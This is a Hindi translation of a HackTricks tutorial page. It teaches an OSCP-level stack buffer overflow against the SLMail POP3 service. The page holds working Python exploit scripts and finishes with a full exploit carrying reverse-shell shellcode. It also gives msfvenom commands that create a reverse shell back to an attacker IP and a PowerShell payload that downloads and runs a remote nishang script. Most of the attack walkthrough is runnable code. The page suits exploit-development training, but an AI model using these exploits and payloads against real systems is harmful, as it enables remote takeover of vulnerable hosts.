15 KiB
Windows Exploiting (मूल गाइड - OSCP स्तर)
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:HackTricks प्रशिक्षण AWS रेड टीम विशेषज्ञ (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks प्रशिक्षण GCP रेड टीम विशेषज्ञ (GRTE)
हैकट्रिक्स का समर्थन करें
- सदस्यता योजनाएं की जाँच करें!
- शामिल हों 💬 डिस्कॉर्ड समूह या टेलीग्राम समूह या हमें ट्विटर 🐦 @hacktricks_live** पर फॉलो** करें।
- हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स को पीआर जमा करके HackTricks और HackTricks Cloud github रेपो में।
SLMail सेवा को स्थापित करना शुरू करें
SLMail सेवा को पुनः आरंभ करें
हर बार जब भी आपको सेवा SLMail को पुनः आरंभ करने की आवश्यकता होती है, तो आप विंडोज कंसोल का उपयोग करके इसे कर सकते हैं:
net start slmail
बहुत ही मौलिक पायथन शोषण टेम्पलेट
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '10.11.25.153'
port = 110
buffer = 'A' * 2700
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port
इम्यूनिटी डीबगर फ़ॉन्ट बदलें
जाएं Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK
प्रक्रिया को इम्यूनिटी डीबगर से जोड़ें:
File --> Attach
और START बटन दबाएं
एक्सप्लॉइट भेजें और जांचें कि क्या EIP प्रभावित है:
हर बार जब आप सेवा को ब्रेक करते हैं, तो आपको इस पृष्ठ के शुरू में दिखाया गया है कि इसे पुनः आरंभ करना चाहिए।
EIP को संशोधित करने के लिए एक पैटर्न बनाएं
पैटर्न उसी बफर के बड़ा होना चाहिए जिसका आपने पिछले में सेवा को तोड़ने के लिए उपयोग किया था।
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
एक्सप्लॉइट का बफर बदलें और पैटर्न सेट करें और एक्सप्लॉइट चालू करें।
एक नया क्रैश होना चाहिए, लेकिन एक अलग EIP पता होना चाहिए:
जांचें कि पता आपके पैटर्न में था या नहीं:
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438
लगता है हम बफर के ऑफसेट 2606 में EIP को संशोधित कर सकते हैं।
एक्सप्लॉइट के बफर को संशोधित करने की जांच करें:
buffer = 'A'*2606 + 'BBBB' + 'CCCC'
इस बफर के साथ EIP क्रैश होना चाहिए जिसे 42424242 ("BBBB") पर पहुंचना चाहिए।
लगता है काम कर रहा है।
स्टैक के अंदर शैलकोड स्थान की जांच करें
600B किसी भी शक्तिशाली शैलकोड के लिए पर्याप्त होना चाहिए।
चलिए बफर बदलते हैं:
buffer = 'A'*2606 + 'BBBB' + 'C'*600
लॉन्च करें नया एक्सप्लॉइट और जांचें EBP और उपयोगी शेलकोड की लंबाई
आप देख सकते हैं कि जब सुरक्षा दोष तक पहुंचा जाता है, तो EBP शेलकोड की ओर प्वाइंट कर रहा है और हमें यहां एक शेलकोड स्थानित करने के लिए बहुत जगह है।
इस मामले में हमारे पास 0x0209A128 से 0x0209A2D6 = 430B तक है। पर्याप्त।
बुरे वर्णों के लिए जांच करें
फिर से बफर बदलें:
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
buffer = 'A'*2606 + 'BBBB' + badchars
बैडचार्स 0x01 से शुरू होते हैं क्योंकि 0x00 लगभग हमेशा बेकार होता है।
इस नए बफर के साथ एक्सप्लॉइट को बार-बार निष्पादित करें जिसमें वे वर्ण हटाए जाते हैं जो अनुपयोगी पाए जाते हैं।
उदाहरण के लिए:
इस मामले में आप देख सकते हैं कि आपको वर्ण 0x0A का उपयोग नहीं करना चाहिए (क्योंकि वर्ण 0x09 मेमोरी में कुछ भी सहेजा नहीं गया है)।
इस मामले में आप देख सकते हैं कि वर्ण 0x0D को टाल दिया गया है:
एक JMP ESP को एक रिटर्न पता के रूप में खोजें
उपयोग करते हुए:
!mona modules #Get protections, look for all false except last one (Dll of SO)
आपको मेमोरी मैप्स की सूची बनानी होगी। कुछ DLL खोजें जिसमें:
- Rebase: False
- SafeSEH: False
- ASLR: False
- NXCompat: False
- OS Dll: True
अब, इस मेमोरी के अंदर आपको कुछ JMP ESP बाइट्स ढूंढने होंगे, इसे करने के लिए निम्नलिखित को चलाएं:
!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case
फिर, यदि कोई पता मिल जाता है, तो उसमें से एक चुनें जिसमें कोई भी बुरी वर्ण (badchar) न हो:
इस मामले में, उदाहरण के लिए: _0x5f4a358f_
शैलकोड बनाएं
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'
यदि एक्सप्लॉइट काम नहीं कर रहा है लेकिन काम करना चाहिए (आप देख सकते हैं कि ImDebg के साथ शेलकोड तक पहुंचा गया है), तो अन्य शेलकोड बनाने का प्रयास करें (msfvenom के साथ एक ही पैरामीटर के लिए विभिन्न शेलकोड बनाएं)।
शेलकोड की शुरुआत में कुछ NOPS जोड़ें और इसे उपयोग करें और वापसी पता JMP ESP के लिए, और एक्सप्लॉइट पूरा करें:
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '10.11.25.153'
port = 110
shellcode = (
"\xb8\x30\x3f\x27\x0c\xdb\xda\xd9\x74\x24\xf4\x5d\x31\xc9\xb1"
"\x52\x31\x45\x12\x83\xed\xfc\x03\x75\x31\xc5\xf9\x89\xa5\x8b"
"\x02\x71\x36\xec\x8b\x94\x07\x2c\xef\xdd\x38\x9c\x7b\xb3\xb4"
"\x57\x29\x27\x4e\x15\xe6\x48\xe7\x90\xd0\x67\xf8\x89\x21\xe6"
"\x7a\xd0\x75\xc8\x43\x1b\x88\x09\x83\x46\x61\x5b\x5c\x0c\xd4"
"\x4b\xe9\x58\xe5\xe0\xa1\x4d\x6d\x15\x71\x6f\x5c\x88\x09\x36"
"\x7e\x2b\xdd\x42\x37\x33\x02\x6e\x81\xc8\xf0\x04\x10\x18\xc9"
"\xe5\xbf\x65\xe5\x17\xc1\xa2\xc2\xc7\xb4\xda\x30\x75\xcf\x19"
"\x4a\xa1\x5a\xb9\xec\x22\xfc\x65\x0c\xe6\x9b\xee\x02\x43\xef"
"\xa8\x06\x52\x3c\xc3\x33\xdf\xc3\x03\xb2\x9b\xe7\x87\x9e\x78"
"\x89\x9e\x7a\x2e\xb6\xc0\x24\x8f\x12\x8b\xc9\xc4\x2e\xd6\x85"
"\x29\x03\xe8\x55\x26\x14\x9b\x67\xe9\x8e\x33\xc4\x62\x09\xc4"
"\x2b\x59\xed\x5a\xd2\x62\x0e\x73\x11\x36\x5e\xeb\xb0\x37\x35"
"\xeb\x3d\xe2\x9a\xbb\x91\x5d\x5b\x6b\x52\x0e\x33\x61\x5d\x71"
"\x23\x8a\xb7\x1a\xce\x71\x50\x2f\x04\x79\x89\x47\x18\x79\xd8"
"\xcb\x95\x9f\xb0\xe3\xf3\x08\x2d\x9d\x59\xc2\xcc\x62\x74\xaf"
"\xcf\xe9\x7b\x50\x81\x19\xf1\x42\x76\xea\x4c\x38\xd1\xf5\x7a"
"\x54\xbd\x64\xe1\xa4\xc8\x94\xbe\xf3\x9d\x6b\xb7\x91\x33\xd5"
"\x61\x87\xc9\x83\x4a\x03\x16\x70\x54\x8a\xdb\xcc\x72\x9c\x25"
"\xcc\x3e\xc8\xf9\x9b\xe8\xa6\xbf\x75\x5b\x10\x16\x29\x35\xf4"
"\xef\x01\x86\x82\xef\x4f\x70\x6a\x41\x26\xc5\x95\x6e\xae\xc1"
"\xee\x92\x4e\x2d\x25\x17\x7e\x64\x67\x3e\x17\x21\xf2\x02\x7a"
"\xd2\x29\x40\x83\x51\xdb\x39\x70\x49\xae\x3c\x3c\xcd\x43\x4d"
"\x2d\xb8\x63\xe2\x4e\xe9"
)
buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port
{% hint style="warning" %} ऐसे शेलकोड हैं जो अपने आप को अधिलिखित कर देंगे, इसलिए हमेशा शेलकोड से पहले कुछ NOPs जोड़ना महत्वपूर्ण है {% endhint %}
शेलकोड को बेहतर बनाना
इन पैरामीटर्स को जोड़ें:
EXITFUNC=thread -e x86/shikata_ga_nai
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:HackTricks प्रशिक्षण AWS रेड टीम एक्सपर्ट (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks प्रशिक्षण GCP रेड टीम एक्सपर्ट (GRTE)
हैकट्रिक्स का समर्थन करें
- सदस्यता योजनाएं की जाँच करें!
- 💬 डिस्कॉर्ड समूह ज्वाइन करें या टेलीग्राम समूह में शामिल हों या हमें ट्विटर 🐦 @hacktricks_live** पर फॉलो** करें।
- HackTricks और HackTricks Cloud github रेपो में PR जमा करके हैकिंग ट्रिक्स साझा करें।